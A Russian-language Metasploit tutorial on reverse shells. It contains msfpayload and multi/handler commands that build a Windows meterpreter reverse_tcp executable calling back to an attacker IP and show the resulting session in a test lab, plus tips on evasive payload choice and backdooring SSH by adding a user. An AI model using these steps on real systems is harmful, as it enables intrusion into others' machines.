Как использовать reverse shell в Metasploit
Как использовать reverse shell в Metasploit
Существует два популярных типа shell, это соответственно bind и reverse. Bind shell – открывает новую службу на целевой машине и требует, чтобы атакующий подключился к ней для получения сеанса. Reverse shell – Обратный шелл наоборот предполагает, что атакующий сначала установил слушателя на своем компьютере, целевая машина выступает в роли клиента, подключающегося к этому слушателю, а затем, наконец, атакующий получает сеанс.
В этой статье рассмотрим использование reverse shell для получения сеанса.
Список обратных оболочек Metasploit
Чтобы получить список обратных оболочек, используйте команду msfpayload.
Как правило, свой выбор стоит остановить на Meterpreter, потому что в настоящее время он обеспечивает лучшую поддержку пост-эксплуатации, которую может предложить Metasploit. Например, railgun, пост-модули, различные команды meterpreter.
В Windows наиболее часто используемым reverse shell является windows/meterpreter/reverse. Вы также можете использовать windows/meterpreter/reverse_http или windows/meterpreter/reverse_https, поскольку их сетевой трафик выглядит наименее аномальным.
В Linux вы можете попробовать использовать linux/x86/meterpreter/reverse_tcp, или 64-битную версию. Наиболее стабильным является linux/x86/shell_reverse_tcp.
Когда может потребоваться использовать reverse shell
Несколько возможных ниже приведенных сценариев предполагают использование указанного метода
Целевая машина находится в другой частной сети.
Межсетевой экран целевой машины блокирует входящие попытки подключения с помощью bind shell.
Ваша полезная нагрузка (paylods) не может быть реализована к нужному порту по какой-либо причине.
Или же Вы просто не можете решить, что выбрать.
Вообще говоря, если вы можете создать бэкдор в существующую службу, то обратная оболочка может и не понадобиться. Например, если на целевой машине уже работает SSH-сервер, то можно попробовать добавить на него нового пользователя и использовать учетные данные для дальнейших действий.
Как настроить reverse shell при генерации полезной нагрузки
Когда вы генерируете reverse shell помощью msfpayload или msfvenom, важно понимать, как настроить следующее:
LHOST – Это IP-адрес, к которому вы хотите подключить целевую машину. Если вы находитесь в локальной сети, вряд ли ваша целевая машина сможет связаться с вами, если только вы оба не находитесь в одной сети. В этом случае вам придется узнать свой публичный IP-адрес, а затем настроить свою сеть на переадресацию этого соединения на ваш компьютер. LHOST не должен быть “localhost”, или “0.0.0.0”, или “127.0.0.1”, потому что в этом случае вы говорите целевой машине подключиться к самой себе.
LPORT – порт, к которому вы хотите подключить целевую машину.
Когда вы настраиваете слушателя для reverse shell вам также, как минимум, необходимо сконфигурировать LHOST и LPORT, но немного в другом значении (другая перспектива):
LHOST – это IP-адрес, к которому вы хотите привязать ваш слушателя.
LPORT – это порт, к которому вы хотите привязать ваш слушатель.
Перед выполнением reverse shell следует убедиться, что слушатель запущен.
В этой демонстрации у нас есть две машины:
Ящик атакующего, который получает сессию полезной нагрузки.
IP это: 192.168.1.123 (ifconfig).
В той же сети, что и машина жертвы.
IP-адрес: 192.168.1.80 (ipconfig)
В той же сети, что и машина злоумышленника
В целях тестирования антивирус не включен.
В целях тестирования также не включен брандмауэр.
Шаг 1: Создаем исполняемую полезную нагрузку
На компьютере атакующего запустим msfpayload или msfvenom:
$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}
Шаг 2: Скопируем исполняемую полезную нагрузку в Box B
Шаг 3: Настроим обработчик полезной нагрузки на блоке Box A
$ ./msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.123 lhost => 192.168.1.123 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > run [*] Started reverse handler on 192.168.1.123:4444 [*] Starting the payload handler...
Шаг 4: Дважды кликнем по вредоносному исполняемому файлу
Этот шаг не требует дополнительных объяснений.
Шаг 5: Просмотр сеанса meterpreter/payload на Box A
$ ./msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.123 lhost => 192.168.1.123 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > run [*] Started reverse handler on 192.168.1.123:4444 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.1.80 [*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500 meterpreter >
Подсказка meterpreter говорит нам о том, что в данный момент мы взаимодействуете с paylod’ом